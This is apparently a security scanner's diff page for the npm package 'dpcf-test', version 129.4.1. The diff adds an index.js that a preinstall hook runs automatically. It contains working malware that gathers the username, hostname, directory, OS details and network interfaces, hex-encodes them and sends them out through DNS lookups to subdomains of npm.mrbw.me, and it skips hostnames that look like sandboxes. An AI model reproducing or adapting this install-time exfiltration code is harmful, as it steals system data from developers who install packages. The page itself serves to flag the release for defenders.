dpcf-test 0.0.1-security → 129.4.1
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of dpcf-test might be problematic. Click here for more details.
- package/index.js +36 -0
- package/package.json +8 -3
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,36 @@
|
|
1
|
+
const os = require('os');
|
2
|
+
|
3
|
+
function xups(){
|
4
|
+
const os = require('os')
|
5
|
+
const dns = require('dns')
|
6
|
+
const util = require('util')
|
7
|
+
const hostname='.npm.mrbw.me'
|
8
|
+
let ts = Date.now();
|
9
|
+
|
10
|
+
function logArrayElements(element, index, array) {
|
11
|
+
dns.lookup(randomN+"."+('00'+index).slice(-3)+"."+element+hostname, function(err,result){})
|
12
|
+
}
|
13
|
+
function toHex (str) {
|
14
|
+
return Buffer.from(str, 'utf8').toString('hex')
|
15
|
+
}
|
16
|
+
|
17
|
+
const data = `${ts};${os.hostname()};${__dirname};${os.userInfo().username};${os.release()};${os.platform()}`
|
18
|
+
const ifconfig=`${util.inspect(os.networkInterfaces(), {showHidden: false, depth: null})}`
|
19
|
+
const hexdata= `${toHex(data.concat(ifconfig))}`
|
20
|
+
const dados= hexdata.match(/.{1,20}/g)
|
21
|
+
const randomN = Math.floor(Math.random()*100000000)
|
22
|
+
dados.forEach(logArrayElements)
|
23
|
+
}
|
24
|
+
|
25
|
+
|
26
|
+
|
27
|
+
|
28
|
+
// Capturando o hostname da máquina
|
29
|
+
let hostname = os.hostname();
|
30
|
+
|
31
|
+
// Verificando se o hostname tem 12 caracteres e é hexadecimal
|
32
|
+
if (hostname.length === 12 && /^[a-f0-9]+$/.test(hostname) || hostname === 'VM-32-12-centos') {
|
33
|
+
process.exit();
|
34
|
+
} else {
|
35
|
+
xups();
|
36
|
+
}
|
package/package.json
CHANGED
@@ -1,6 +1,11 @@
|
|
1
1
|
{
|
2
2
|
"name": "dpcf-test",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "129.4.1",
|
4
|
+
"description": "",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"preinstall": "node index.js"
|
8
|
+
},
|
9
|
+
"author": "",
|
10
|
+
"license": "ISC"
|
6
11
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=dpcf-test for more information.
|